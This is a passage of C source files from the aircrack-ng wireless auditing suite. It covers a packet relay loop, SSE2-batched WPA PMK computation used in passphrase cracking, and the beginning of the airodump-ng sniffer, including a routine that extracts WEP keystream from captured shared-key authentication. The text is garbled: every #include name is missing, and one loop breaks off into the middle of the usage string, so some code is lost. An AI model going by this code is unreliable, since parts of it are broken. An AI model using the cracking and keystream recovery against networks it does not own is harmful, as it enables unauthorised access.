LINKTYPE_RADIOTAP_HDR ) { /* remove the radiotap header */ n = *(unsigned short *)( h80211 + 2 ); if( n <= 0 || n >= (int) caplen ) continue; memcpy( tmpbuf, h80211, caplen ); caplen -= n; memcpy( h80211, tmpbuf + n, caplen ); } if( dev.pfh_in.linktype == LINKTYPE_PPI_HDR ) { /* remove the PPI header */ n = le16_to_cpu(*(unsigned short *)( h80211 + 2)); if( n <= 0 || n>= (int) caplen ) continue; /* for a while Kismet logged broken PPI headers */ if ( n == 24 && le16_to_cpu(*(unsigned short *)(h80211 + 8)) == 2 ) n = 32; if( n <= 0 || n>= (int) caplen ) continue; memcpy( tmpbuf, h80211, caplen ); caplen -= n; memcpy( h80211, tmpbuf + n, caplen ); } packet_recv( h80211, caplen, &apc, (opt.external & EXT_IN)); msleep( 1000/opt.r_nbpps ); continue; } FD_ZERO( &read_fds ); FD_SET( dev.fd_in, &read_fds ); FD_SET(ti_fd(dev.dv_ti), &read_fds ); if(opt.external) { FD_SET(ti_fd(dev.dv_ti2), &read_fds ); ret_val = select( MAX(ti_fd(dev.dv_ti), MAX(ti_fd(dev.dv_ti2), dev.fd_in)) + 1, &read_fds, NULL, NULL, NULL ); } else ret_val = select( MAX(ti_fd(dev.dv_ti), dev.fd_in) + 1, &read_fds, NULL, NULL, NULL ); if( ret_val < 0 ) break; if( ret_val > 0 ) { if( FD_ISSET(ti_fd(dev.dv_ti), &read_fds ) ) { len = ti_read(dev.dv_ti, buffer, sizeof( buffer ) ); if( len > 0 ) { packet_xmit(buffer, len); } } if( opt.external && FD_ISSET(ti_fd(dev.dv_ti2), &read_fds ) ) { len = ti_read(dev.dv_ti2, buffer, sizeof( buffer ) ); if( len > 0 ) { packet_xmit_external(buffer, len, &apc); } } if( FD_ISSET( dev.fd_in, &read_fds ) ) { len = read_packet( buffer, sizeof( buffer ) ); if( len > 0 ) { packet_recv( buffer, len, &apc, (opt.external & EXT_IN)); } } } //if( ret_val > 0 ) } //for( ; ; ) ti_close( dev.dv_ti ); /* that's all, folks */ return( 0 ); } aircrack-ng-1.2-beta3/src/sha1-sse2.h0000644000000000000000000002171711714165062015710 0ustar rootroot/* C code for SSE2 (i386) optimized SHA1 - License: GPLv2 * (c) nx5 * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License as * published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, but * is provided AS IS, WITHOUT ANY WARRANTY; without even the implied * warranty of MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, and * NON-INFRINGEMENT. See the GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, * MA 02111-1307, USA. * * In addition, as a special exception, the copyright holders give * permission to link the code of portions of this program with the * OpenSSL library under certain conditions as described in each * individual source file, and distribute linked combinations * including the two. * You must obey the GNU General Public License in all respects * for all of the code used other than OpenSSL. If you modify * file(s) with this exception, you may extend this exception to your * version of the file(s), but you are not obligated to do so. If you * do not wish to do so, delete this exception statement from your * version. If you delete this exception statement from all source * files in the program, then also delete it here. */ #include #include #include #include #ifndef uchar #define uchar unsigned char #endif #include "crypto.h" #if defined(__i386__) || defined(__x86_64__) void show_result(char* key, uchar* pmk) { int i; printf("%-14s ", key); for (i=0; i<32; i++) printf("%.2X", pmk[i]); printf("\n"); } extern int shasse2_init( uchar ctx[80] ) __attribute__((regparm(1))); extern int shasse2_ends( uchar ctx[80], uchar digests[80] ) __attribute__((regparm(2))); extern int shasse2_data( uchar ctx[80], uchar data[256], uchar buf[1280] ) __attribute__((regparm(3))); extern int shasse2_cpuid( void ); void calc_4pmk(char* _key1, char* _key2, char* _key3, char* _key4, char* _essid, uchar* _pmk1, uchar* _pmk2, uchar* _pmk3, uchar* _pmk4) { int slen; char essid[36] __attribute__ ((aligned (16))); char key1[128] __attribute__ ((aligned (16))); char key2[128] __attribute__ ((aligned (16))); char key3[128] __attribute__ ((aligned (16))); char key4[128] __attribute__ ((aligned (16))); uchar pmks[128*4] __attribute__ ((aligned (16))); // All in double size uchar k_ipad[256] __attribute__ ((aligned (16))); uchar ctx_ipad[80] __attribute__ ((aligned (16))); uchar k_opad[256] __attribute__ ((aligned (16))); uchar ctx_opad[80] __attribute__ ((aligned (16))); uchar buffer[256] __attribute__ ((aligned (16))); uchar sha1_ctx[80] __attribute__ ((aligned (16))); uchar wrkbuf[1280] __attribute__ ((aligned (16))); uint i, *u, *v, *w, *u3, *v4; uchar *pmk1, *pmk2, *pmk3, *pmk4; pmk1=pmks; pmk2=pmks+128; pmk3=pmks+128*2; pmk4=pmks+128*3; strncpy(essid, _essid, 35); strncpy(key1, _key1, 127); strncpy(key2, _key2, 127); strncpy(key3, _key3, 127); strncpy(key4, _key4, 127); slen = strlen( essid ) + 4; /* SSE2 available, so compute four PMKs in a single row */ memset( k_ipad, 0, sizeof( k_ipad ) ); memset( k_opad, 0, sizeof( k_opad ) ); memcpy( k_ipad, key1, strlen( key1 ) ); memcpy( k_opad, key1, strlen( key1 ) ); memcpy( k_ipad + 64, key2, strlen( key2 ) ); memcpy( k_opad + 64, key2, strlen( key2 ) ); memcpy( k_ipad + 128, key3, strlen( key3 ) ); memcpy( k_opad + 128, key3, strlen( key3 ) ); memcpy( k_ipad + 192, key4, strlen( key4 ) ); memcpy( k_opad + 192, key4, strlen( key4 ) ); u = (uint *) ( k_ipad ); v = (uint *) ( k_ipad + 64 ); u3 = (uint *) ( k_ipad + 128 ); v4 = (uint *) ( k_ipad + 192 ); w = (uint *) buffer; for( i = 0; i < 16; i++ ) { /* interleave the data */ *w++ = *u++ ^ 0x36363636; *w++ = *v++ ^ 0x36363636; *w++ = *u3++ ^ 0x36363636; *w++ = *v4++ ^ 0x36363636; } shasse2_init( ctx_ipad ); shasse2_data( ctx_ipad, buffer, wrkbuf ); u = (uint *) ( k_opad ); v = (uint *) ( k_opad + 64 ); u3 = (uint *) ( k_opad + 128 ); v4 = (uint *) ( k_opad + 192 ); w = (uint *) buffer; for( i = 0; i < 16; i++ ) { *w++ = *u++ ^ 0x5C5C5C5C; *w++ = *v++ ^ 0x5C5C5C5C; *w++ = *u3++ ^ 0x5C5C5C5C; *w++ = *v4++ ^ 0x5C5C5C5C; } shasse2_init( ctx_opad ); shasse2_data( ctx_opad, buffer, wrkbuf ); memset( buffer, 0, sizeof( buffer ) ); buffer[ 80] = buffer[ 84] = buffer[ 88] = buffer[ 92] = 0x80; buffer[242] = buffer[246] = buffer[250] = buffer[254] = 0x02; buffer[243] = buffer[247] = buffer[251] = buffer[255] = 0xA0; essid[slen - 1] = '\1'; HMAC(EVP_sha1(), (uchar *)key1, strlen(key1), (uchar*)essid, slen, pmk1, NULL); HMAC(EVP_sha1(), (uchar *)key2, strlen(key2), (uchar*)essid, slen, pmk2, NULL); HMAC(EVP_sha1(), (uchar *)key3, strlen(key3), (uchar*)essid, slen, pmk3, NULL); HMAC(EVP_sha1(), (uchar *)key4, strlen(key4), (uchar*)essid, slen, pmk4, NULL); u = (uint *) pmk1; v = (uint *) pmk2; u3 = (uint *) pmk3; v4 = (uint *) pmk4; w = (uint *) buffer; *w++ = *u++; *w++ = *v++; *w++ = *u3++; *w++ = *v4++; *w++ = *u++; *w++ = *v++; *w++ = *u3++; *w++ = *v4++; *w++ = *u++; *w++ = *v++; *w++ = *u3++; *w++ = *v4++; *w++ = *u++; *w++ = *v++; *w++ = *u3++; *w++ = *v4++; *w++ = *u++; *w++ = *v++; *w++ = *u3++; *w++ = *v4++; for( i = 1; i < 4096; i++ ) { memcpy( sha1_ctx, ctx_ipad, 80 ); //eran 40 shasse2_data( sha1_ctx, buffer, wrkbuf ); shasse2_ends( sha1_ctx, buffer ); memcpy( sha1_ctx, ctx_opad, 80 ); shasse2_data( sha1_ctx, buffer, wrkbuf ); shasse2_ends( sha1_ctx, buffer ); u = (uint *) pmk1; v = (uint *) pmk2; u3 = (uint *) pmk3; v4 = (uint *) pmk4; w = (uint *) buffer; /* de-interleave the digests */ *u++ ^= *w++; *v++ ^= *w++; *u3++ ^= *w++; *v4++ ^= *w++; *u++ ^= *w++; *v++ ^= *w++; *u3++ ^= *w++; *v4++ ^= *w++; *u++ ^= *w++; *v++ ^= *w++; *u3++ ^= *w++; *v4++ ^= *w++; *u++ ^= *w++; *v++ ^= *w++; *u3++ ^= *w++; *v4++ ^= *w++; *u++ ^= *w++; *v++ ^= *w++; *u3++ ^= *w++; *v4++ ^= *w++; } essid[slen - 1] = '\2'; HMAC(EVP_sha1(), (uchar *)key1, strlen(key1), (uchar*)essid, slen, pmk1 + 20, NULL); HMAC(EVP_sha1(), (uchar *)key2, strlen(key2), (uchar*)essid, slen, pmk2 + 20, NULL); HMAC(EVP_sha1(), (uchar *)key3, strlen(key3), (uchar*)essid, slen, pmk3 + 20, NULL); HMAC(EVP_sha1(), (uchar *)key4, strlen(key4), (uchar*)essid, slen, pmk4 + 20, NULL); u = (uint *) ( pmk1 + 20 ); // eran 20 v = (uint *) ( pmk2 + 20 ); u3 = (uint *) ( pmk3 + 20 ); // eran 20 v4 = (uint *) ( pmk4 + 20 ); w = (uint *) buffer; *w++ = *u++; *w++ = *v++; *w++ = *u3++; *w++ = *v4++; *w++ = *u++; *w++ = *v++; *w++ = *u3++; *w++ = *v4++; *w++ = *u++; *w++ = *v++; *w++ = *u3++; *w++ = *v4++; *w++ = *u++; *w++ = *v++; *w++ = *u3++; *w++ = *v4++; *w++ = *u++; *w++ = *v++; *w++ = *u3++; *w++ = *v4++; for( i = 1; i < 4096; i++ ) { memcpy( sha1_ctx, ctx_ipad, 80 ); //eran 40 shasse2_data( sha1_ctx, buffer, wrkbuf ); shasse2_ends( sha1_ctx, buffer ); memcpy( sha1_ctx, ctx_opad, 80 ); shasse2_data( sha1_ctx, buffer, wrkbuf ); shasse2_ends( sha1_ctx, buffer ); u = (uint *) ( pmk1 + 20 ); //eran 20 v = (uint *) ( pmk2 + 20 ); u3 = (uint *) ( pmk3 + 20 ); v4 = (uint *) ( pmk4 + 20 ); w = (uint *) buffer; *u++ ^= *w++; *v++ ^= *w++; *u3++ ^= *w++; *v4++ ^= *w++; *u++ ^= *w++; *v++ ^= *w++; *u3++ ^= *w++; *v4++ ^= *w++; *u++ ^= *w++; *v++ ^= *w++; *u3++ ^= *w++; *v4++ ^= *w++; } memcpy(_pmk3, pmk3, 32); memcpy(_pmk4, pmk4, 32); memcpy(_pmk1, pmk1, 32); memcpy(_pmk2, pmk2, 32); /*printf("\n"); show_result(_key1, _pmk1); show_result(_key2, _pmk2); show_result(_key3, _pmk3); show_result(_key4, _pmk4); fflush(stdout);*/ } #else void calc_4pmk(char* _key1, char* _key2, char* _key3, char* _key4, char* _essid, uchar* _pmk1, uchar* _pmk2, uchar* _pmk3, uchar* _pmk4) { calc_pmk(_key1, _essid, _pmk1); calc_pmk(_key2, _essid, _pmk2); calc_pmk(_key3, _essid, _pmk3); calc_pmk(_key4, _essid, _pmk4); } #endif aircrack-ng-1.2-beta3/src/airodump-ng.c0000644000000000000000000056627112316134075016427 0ustar rootroot/* * pcap-compatible 802.11 packet sniffer * * Copyright (C) 2006-2013 Thomas d'Otreppe * Copyright (C) 2004, 2005 Christophe Devine * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * * * In addition, as a special exception, the copyright holders give * permission to link the code of portions of this program with the * OpenSSL library under certain conditions as described in each * individual source file, and distribute linked combinations * including the two. * You must obey the GNU General Public License in all respects * for all of the code used other than OpenSSL. * If you modify * file(s) with this exception, you may extend this exception to your * version of the file(s), but you are not obligated to do so. * If you * do not wish to do so, delete this exception statement from your * version. * If you delete this exception statement from all source * files in the program, then also delete it here. */ #include #include #include #include #include #ifndef TIOCGWINSZ #include #endif #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #ifdef HAVE_PCRE #include #endif #include "version.h" #include "pcap.h" #include "uniqueiv.h" #include "crypto.h" #include "osdep/osdep.h" #include "airodump-ng.h" #include "osdep/common.h" #include "common.h" #ifdef USE_GCRYPT GCRY_THREAD_OPTION_PTHREAD_IMPL; #endif void dump_sort( void ); void dump_print( int ws_row, int ws_col, int if_num ); char * get_manufacturer_from_string(char * buffer) { char * manuf = NULL; char * buffer_manuf; if (buffer != NULL && strlen(buffer) > 0) { buffer_manuf = strstr(buffer, "(hex)"); if (buffer_manuf != NULL) { buffer_manuf += 6; // skip '(hex)' and one more character (there's at least one 'space' character after that string) while (*buffer_manuf == '\t' || *buffer_manuf == ' ') { ++buffer_manuf; } // Did we stop at the manufacturer if (*buffer_manuf != '\0') { // First make sure there's no end of line if (buffer_manuf[strlen(buffer_manuf) - 1] == '\n' || buffer_manuf[strlen(buffer_manuf) - 1] == '\r') { buffer_manuf[strlen(buffer_manuf) - 1] = '\0'; if (*buffer_manuf != '\0' && (buffer_manuf[strlen(buffer_manuf) - 1] == '\n' || buffer[strlen(buffer_manuf) - 1] == '\r')) { buffer_manuf[strlen(buffer_manuf) - 1] = '\0'; } } if (*buffer_manuf != '\0') { if ((manuf = (char *)malloc((strlen(buffer_manuf) + 1) * sizeof(char))) == NULL) { perror("malloc failed"); return NULL; } snprintf(manuf, strlen(buffer_manuf) + 1, "%s", buffer_manuf); } } } } return manuf; } void textcolor(int attr, int fg, int bg) { char command[13]; /* Command is the control command to the terminal */ sprintf(command, "%c[%d;%d;%dm", 0x1B, attr, fg + 30, bg + 40); fprintf(stderr, "%s", command); fflush(stderr); } void textcolor_fg(int fg) { char command[13]; /* Command is the control command to the terminal */ sprintf(command, "\033[%dm", fg + 30); fprintf(stderr, "%s", command); fflush(stderr); } void textcolor_bg(int bg) { char command[13]; /* Command is the control command to the terminal */ sprintf(command, "\033[%dm", bg + 40); fprintf(stderr, "%s", command); fflush(stderr); } void textstyle(int attr) { char command[13]; /* Command is the control command to the terminal */ sprintf(command, "\033[%im", attr); fprintf(stderr, "%s", command); fflush(stderr); } void reset_term() { struct termios oldt, newt; tcgetattr( STDIN_FILENO, &oldt ); newt = oldt; newt.c_lflag |= ( ICANON | ECHO ); tcsetattr( STDIN_FILENO, TCSANOW, &newt ); } int mygetch( ) { struct termios oldt, newt; int ch; tcgetattr( STDIN_FILENO, &oldt ); newt = oldt; newt.c_lflag &= ~( ICANON | ECHO ); tcsetattr( STDIN_FILENO, TCSANOW, &newt ); ch = getchar(); tcsetattr( STDIN_FILENO, TCSANOW, &oldt ); return ch; } void resetSelection() { G.sort_by = SORT_BY_POWER; G.sort_inv = 1; G.start_print_ap=1; G.start_print_sta=1; G.selected_ap=1; G.selected_sta=1; G.selection_ap=0; G.selection_sta=0; G.mark_cur_ap=0; G.skip_columns=0; G.do_pause=0; G.do_sort_always=0; memset(G.selected_bssid, '\x00', 6); } #define KEY_TAB 0x09 //switch between APs/clients for scrolling #define KEY_SPACE 0x20 //pause/resume output #define KEY_ARROW_UP 0x41 //scroll #define KEY_ARROW_DOWN 0x42 //scroll #define KEY_ARROW_RIGHT 0x43 //scroll #define KEY_ARROW_LEFT 0x44 //scroll #define KEY_a 0x61 //cycle through active information (ap/sta/ap+sta/ap+sta+ack) #define KEY_c 0x63 //cycle through channels #define KEY_d 0x64 //default mode #define KEY_i 0x69 //inverse sorting #define KEY_m 0x6D //mark current AP #define KEY_n 0x6E //? #define KEY_r 0x72 //realtime sort (de)activate #define KEY_s 0x73 //cycle through sorting void input_thread( void *arg) { if(!arg){} while( G.do_exit == 0 ) { int keycode=0; keycode=mygetch(); if(keycode == KEY_s) { G.sort_by++; G.selection_ap = 0; G.selection_sta = 0; if(G.sort_by > MAX_SORT) G.sort_by = 0; switch(G.sort_by) { case SORT_BY_NOTHING: snprintf(G.message, sizeof(G.message), "][ sorting by first seen"); break; case SORT_BY_BSSID: snprintf(G.message, sizeof(G.message), "][ sorting by bssid"); break; case SORT_BY_POWER: snprintf(G.message, sizeof(G.message), "][ sorting by power level"); break; case SORT_BY_BEACON: snprintf(G.message, sizeof(G.message), "][ sorting by beacon number"); break; case SORT_BY_DATA: snprintf(G.message, sizeof(G.message), "][ sorting by number of data packets"); break; case SORT_BY_PRATE: snprintf(G.message, sizeof(G.message), "][ sorting by packet rate"); break; case SORT_BY_CHAN: snprintf(G.message, sizeof(G.message), "][ sorting by channel"); break; case SORT_BY_MBIT: snprintf(G.message, sizeof(G.message), "][ sorting by max data rate"); break; case SORT_BY_ENC: snprintf(G.message, sizeof(G.message), "][ sorting by encryption"); break; case SORT_BY_CIPHER: snprintf(G.message, sizeof(G.message), "][ sorting by cipher"); break; case SORT_BY_AUTH: snprintf(G.message, sizeof(G.message), "][ sorting by authentication"); break; case SORT_BY_ESSID: snprintf(G.message, sizeof(G.message), "][ sorting by ESSID"); break; default: break; } pthread_mutex_lock( &(G.mx_sort) ); dump_sort(); pthread_mutex_unlock( &(G.mx_sort) ); } if(keycode == KEY_SPACE) { G.do_pause = (G.do_pause+1)%2; if(G.do_pause) { snprintf(G.message, sizeof(G.message), "][ paused output"); pthread_mutex_lock( &(G.mx_print) ); fprintf( stderr, "\33[1;1H" ); dump_print( G.ws.ws_row, G.ws.ws_col, G.num_cards ); fprintf( stderr, "\33[J" ); fflush(stderr); pthread_mutex_unlock( &(G.mx_print) ); } else snprintf(G.message, sizeof(G.message), "][ resumed output"); } if(keycode == KEY_r) { G.do_sort_always = (G.do_sort_always+1)%2; if(G.do_sort_always) snprintf(G.message, sizeof(G.message), "][ realtime sorting activated"); else snprintf(G.message, sizeof(G.message), "][ realtime sorting deactivated"); } if(keycode == KEY_m) { G.mark_cur_ap = 1; } if(keycode == KEY_ARROW_DOWN) { if(G.selection_ap == 1) { G.selected_ap++; } if(G.selection_sta == 1) { G.selected_sta++; } } if(keycode == KEY_ARROW_UP) { if(G.selection_ap == 1) { G.selected_ap--; if(G.selected_ap < 1) G.selected_ap = 1; } if(G.selection_sta == 1) { G.selected_sta--; if(G.selected_sta < 1) G.selected_sta = 1; } } if(keycode == KEY_i) { G.sort_inv*=-1; if(G.sort_inv < 0) snprintf(G.message, sizeof(G.message), "][ inverted sorting order"); else snprintf(G.message, sizeof(G.message), "][ normal sorting order"); } if(keycode == KEY_TAB) { if(G.selection_ap == 0) { G.selection_ap = 1; G.selected_ap = 1; snprintf(G.message, sizeof(G.message), "][ enabled AP selection"); G.sort_by = SORT_BY_NOTHING; } else if(G.selection_ap == 1) { G.selection_ap = 0; G.sort_by = SORT_BY_NOTHING; snprintf(G.message, sizeof(G.message), "][ disabled selection"); } } if(keycode == KEY_a) { if(G.show_ap == 1 && G.show_sta == 1 && G.show_ack == 0) { G.show_ap = 1; G.show_sta = 1; G.show_ack = 1; snprintf(G.message, sizeof(G.message), "][ display ap+sta+ack"); } else if(G.show_ap == 1 && G.show_sta == 1 && G.show_ack == 1) { G.show_ap = 1; G.show_sta = 0; G.show_ack = 0; snprintf(G.message, sizeof(G.message), "][ display ap only"); } else if(G.show_ap == 1 && G.show_sta == 0 && G.show_ack == 0) { G.show_ap = 0; G.show_sta = 1; G.show_ack = 0; snprintf(G.message, sizeof(G.message), "][ display sta only"); } else if(G.show_ap == 0 && G.show_sta == 1 && G.show_ack == 0) { G.show_ap = 1; G.show_sta = 1; G.show_ack = 0; snprintf(G.message, sizeof(G.message), "][ display ap+sta"); } } if (keycode == KEY_d) { resetSelection(); snprintf(G.message, sizeof(G.message), "][ reset selection to default"); } if(G.do_exit == 0 && !G.do_pause) { pthread_mutex_lock( &(G.mx_print) ); fprintf( stderr, "\33[1;1H" ); dump_print( G.ws.ws_row, G.ws.ws_col, G.num_cards ); fprintf( stderr, "\33[J" ); fflush(stderr); pthread_mutex_unlock( &(G.mx_print) ); } } } struct oui * load_oui_file(void) { FILE *fp; char * manuf; char buffer[BUFSIZ]; unsigned char a[2]; unsigned char b[2]; unsigned char c[2]; struct oui *oui_ptr = NULL, *oui_head = NULL; if (!(fp = fopen(OUI_PATH0, "r"))) { if (!(fp = fopen(OUI_PATH1, "r"))) { if (!(fp = fopen(OUI_PATH2, "r"))) { if (!(fp = fopen(OUI_PATH3, "r"))) { return NULL; } } } } memset(buffer, 0x00, sizeof(buffer)); while (fgets(buffer, sizeof(buffer), fp) != NULL) { if (!(strstr(buffer, "(hex)"))) continue; memset(a, 0x00, sizeof(a)); memset(b, 0x00, sizeof(b)); memset(c, 0x00, sizeof(c)); if (sscanf(buffer, "%2c-%2c-%2c", a, b, c) == 3) { if (oui_ptr == NULL) { if (!(oui_ptr = (struct oui *)malloc(sizeof(struct oui)))) { fclose(fp); perror("malloc failed"); return NULL; } } else { if (!(oui_ptr->next = (struct oui *)malloc(sizeof(struct oui)))) { fclose(fp); perror("malloc failed"); return NULL; } oui_ptr = oui_ptr->next; } memset(oui_ptr->id, 0x00, sizeof(oui_ptr->id)); memset(oui_ptr->manuf, 0x00, sizeof(oui_ptr->manuf)); snprintf(oui_ptr->id, sizeof(oui_ptr->id), "%c%c:%c%c:%c%c", a[0], a[1], b[0], b[1], c[0], c[1]); manuf = get_manufacturer_from_string(buffer); if (manuf != NULL) { snprintf(oui_ptr->manuf, sizeof(oui_ptr->manuf), "%s", manuf); free(manuf); } else { snprintf(oui_ptr->manuf, sizeof(oui_ptr->manuf), "Unknown"); } if (oui_head == NULL) oui_head = oui_ptr; oui_ptr->next = NULL; } } fclose(fp); return oui_head; } int check_shared_key(unsigned char *h80211, int caplen) { int m_bmac, m_smac, m_dmac, n, textlen; char ofn[1024]; char text[4096]; char prga[4096]; unsigned int long crc; if((unsigned)caplen > sizeof(G.sharedkey[0])) return 1; m_bmac = 16; m_smac = 10; m_dmac = 4; if( time(NULL) - G.sk_start > 5) { /* timeout(5sec) - remove all packets, restart timer */ memset(G.sharedkey, '\x00', 4096*3); G.sk_start = time(NULL); } /* is auth packet */ if( (h80211[1] & 0x40) != 0x40 ) { /* not encrypted */ if( ( h80211[24] + (h80211[25] << 8) ) == 1 ) { /* Shared-Key Authentication */ if( ( h80211[26] + (h80211[27] << 8) ) == 2 ) { /* sequence == 2 */ memcpy(G.sharedkey[0], h80211, caplen); G.sk_len = caplen-24; } if( ( h80211[26] + (h80211[27] << 8) ) == 4 ) { /* sequence == 4 */ memcpy(G.sharedkey[2], h80211, caplen); } } else return 1; } else { /* encrypted */ memcpy(G.sharedkey[1], h80211, caplen); G.sk_len2 = caplen-24-4; } /* check if the 3 packets form a proper authentication */ if( ( memcmp(G.sharedkey[0]+m_bmac, NULL_MAC, 6) == 0 ) || ( memcmp(G.sharedkey[1]+m_bmac, NULL_MAC, 6) == 0 ) || ( memcmp(G.sharedkey[2]+m_bmac, NULL_MAC, 6) == 0 ) ) /* some bssids == zero */ { return 1; } if( ( memcmp(G.sharedkey[0]+m_bmac, G.sharedkey[1]+m_bmac, 6) != 0 ) || ( memcmp(G.sharedkey[0]+m_bmac, G.sharedkey[2]+m_bmac, 6) != 0 ) ) /* all bssids aren't equal */ { return 1; } if( ( memcmp(G.sharedkey[0]+m_smac, G.sharedkey[2]+m_smac, 6) != 0 ) || ( memcmp(G.sharedkey[0]+m_smac, G.sharedkey[1]+m_dmac, 6) != 0 ) ) /* SA in 2&4 != DA in 3 */ { return 1; } if( (memcmp(G.sharedkey[0]+m_dmac, G.sharedkey[2]+m_dmac, 6) != 0 ) || (memcmp(G.sharedkey[0]+m_dmac, G.sharedkey[1]+m_smac, 6) != 0 ) ) /* DA in 2&4 != SA in 3 */ { return 1; } textlen = G.sk_len; if(textlen+4 != G.sk_len2) { snprintf(G.message, sizeof(G.message), "][ Broken SKA: %02X:%02X:%02X:%02X:%02X:%02X ", *(G.sharedkey[0]+m_bmac), *(G.sharedkey[0]+m_bmac+1), *(G.sharedkey[0]+m_bmac+2), *(G.sharedkey[0]+m_bmac+3), *(G.sharedkey[0]+m_bmac+4), *(G.sharedkey[0]+m_bmac+5)); return 1; } if((unsigned)textlen > sizeof(text) - 4) return 1; memcpy(text, G.sharedkey[0]+24, textlen); /* increment sequence number from 2 to 3 */ text[2] = text[2]+1; crc = 0xFFFFFFFF; for( n = 0; n < textlen; n++ ) crc = crc_tbl[(crc ^ text[n]) & 0xFF] ^ (crc >> 8); crc = ~crc; /* append crc32 over body */ text[textlen] = (crc ) & 0xFF; text[textlen+1] = (crc >> 8) & 0xFF; text[textlen+2] = (crc >> 16) & 0xFF; text[textlen+3] = (crc >> 24) & 0xFF; /* cleartext XOR cipher */ for(n=0; n<(textlen+4); n++) { prga[4+n] = (text[n] ^ G.sharedkey[1][28+n]) & 0xFF; } /* write IV+index */ prga[0] = G.sharedkey[1][24] & 0xFF; prga[1] = G.sharedkey[1][25] & 0xFF; prga[2] = G.sharedkey[1][26] & 0xFF; prga[3] = G.sharedkey[1][27] & 0xFF; if( G.f_xor != NULL ) { fclose(G.f_xor); G.f_xor = NULL; } snprintf( ofn, sizeof( ofn ) - 1, "%s-%02d-%02X-%02X-%02X-%02X-%02X-%02X.%s", G.prefix, G.f_index, *(G.sharedkey[0]+m_bmac), *(G.sharedkey[0]+m_bmac+1), *(G.sharedkey[0]+m_bmac+2), *(G.sharedkey[0]+m_bmac+3), *(G.sharedkey[0]+m_bmac+4), *(G.sharedkey[0]+m_bmac+5), "xor" ); G.f_xor = fopen( ofn, "w"); if(G.f_xor == NULL) return 1; for(n=0; n [,,...]\n" "\n" " Options:\n" " --ivs : Save only captured IVs\n" " --gpsd : Use GPSd\n" " --write : Dump file prefix\n" " -w : same as --write \n" " --beacons : Record all beacons in dump file\n" " --update : Display update delay in seconds\n" " --showack : Prints ack/cts/rts statistics\n" " -h : Hides known stations for --showack\n" " -f : Time in ms between hopping channels\n" " --berlin : Time before removing the AP/client\n" " from the screen when no more packets\n" " are received (Default: 120 seconds)\n" " -r : Read packets from that file\n" " -x : Active Scanning Simulation\n" " --manufacturer : Display manufacturer from IEEE OUI list\n" " --uptime : Display AP Uptime from Beacon Timestamp\n" " --output-format\n" " : Output format. Possible values:\n" " pcap, ivs, csv, gps, kismet, netxml\n" " --ignore-negative-one : Removes the message that says\n" " fixed channel : -1\n" "\n" " Filter options:\n" " --encrypt : Filter APs by cipher suite\n" " --netmask : Filter APs by mask\n" " --bssid : Filter APs by BSSID\n" " --essid : Filter APs by ESSID\n" #ifdef HAVE_PCRE " --essid-regex : Filter APs by ESSID using a regular\n" " expression\n" #endif " -a : Filter unassociated clients\n" "\n" " By default, airodump-ng hop on 2.4GHz channels.\n" " You can make it capture on other/specific channel(s) by using:\n" " --channel : Capture on specific channels\n" " --band : Band on which airodump-ng should hop\n" " -C : Uses these frequencies in MHz to hop\n" " --cswitch : Set channel switching method\n" " 0 : FIFO (default)\n" " 1 : Round Robin\n" " 2 : Hop on last\n" " -s : same as --cswitch\n" "\n" " --help : Displays this usage screen\n" "\n"; int is_filtered_netmask(uchar *bssid) { uchar mac1[6]; uchar mac2[6]; int i; for(i=0; i<6; i++) { mac1[i] = bssid[i] & G.f_netmask[i]; mac2[i] = G.f_bssid[i] & G.f_netmask[i]; } if( memcmp(mac1, mac2, 6) != 0 ) { return( 1 ); } return 0; } int is_filtered_essid(unsigned char *essid) { int ret = 0; int i; if(G.f_essid) { for(i=0; iftimer.tv_sec ) + (cur_time.tv_usec - ap_cur->ftimer.tv_usec); /* update every `QLT_TIME`seconds if the rate is low, or every 500ms otherwise */ if( (ap_cur->fcapt >= QLT_COUNT && time_diff > 500000 ) || time_diff > (QLT_TIME * 1000000) ) { /* at least one frame captured */ if(ap_cur->fcapt > 1) { capt_time = ( 1000000 * (ap_cur->ftimel.tv_sec - ap_cur->ftimef.tv_sec ) //time between first and last captured frame + (ap_cur->ftimel.tv_usec - ap_cur->ftimef.tv_usec) ); miss_time = ( 1000000 * (ap_cur->ftimef.tv_sec - ap_cur->ftimer.tv_sec ) //time between timer reset and first frame + (ap_cur->ftimef.tv_usec - ap_cur->ftimer.tv_usec) ) + ( 1000000 * (cur_time.tv_sec - ap_cur->ftimel.tv_sec ) //time between last frame and this moment + (cur_time.tv_usec - ap_cur->ftimel.tv_usec) ); //number of frames missed at the time where no frames were captured; extrapolated by assuming a constant framerate if(capt_time > 0 && miss_time > 200000) { missed_frames = ((float)((float)miss_time/(float)capt_time) * ((float)ap_cur->fcapt + (float)ap_cur->fmiss)); ap_cur->fmiss += missed_frames; } ap_cur->rx_quality = ((float)((float)ap_cur->fcapt / ((float)ap_cur->fcapt + (float)ap_cur->fmiss)) * 100.0); } else ap_cur->rx_quality = 0; /* no packets -> zero quality */ /* normalize, in case the seq numbers are not iterating */ if(ap_cur->rx_quality > 100) ap_cur->rx_quality = 100; if(ap_cur->rx_quality < 0 ) ap_cur->rx_quality = 0; /* reset variables */ ap_cur->fcapt = 0; ap_cur->fmiss = 0; gettimeofday( &(ap_cur->ftimer) ,NULL); } ap_cur = ap_cur->next; } /* stations */ while( st_cur != NULL ) { time_diff = 1000000 * (cur_time.tv_sec - st_cur->ftimer.tv_sec ) + (cur_time.tv_usec - st_cur->ftimer.tv_usec); if( time_diff > 10000000 ) { st_cur->missed = 0; gettimeofday( &(st_cur->ftimer), NULL ); } st_cur = st_cur->next; } } /* setup the output files */ int dump_initialize( char *prefix, int ivs_only ) { int i, ofn_len; FILE *f; char * ofn = NULL; /* If you only want to see what happening, send all data to /dev/null */ if ( prefix == NULL || strlen( prefix ) == 0) { return( 0 ); } /* Create a 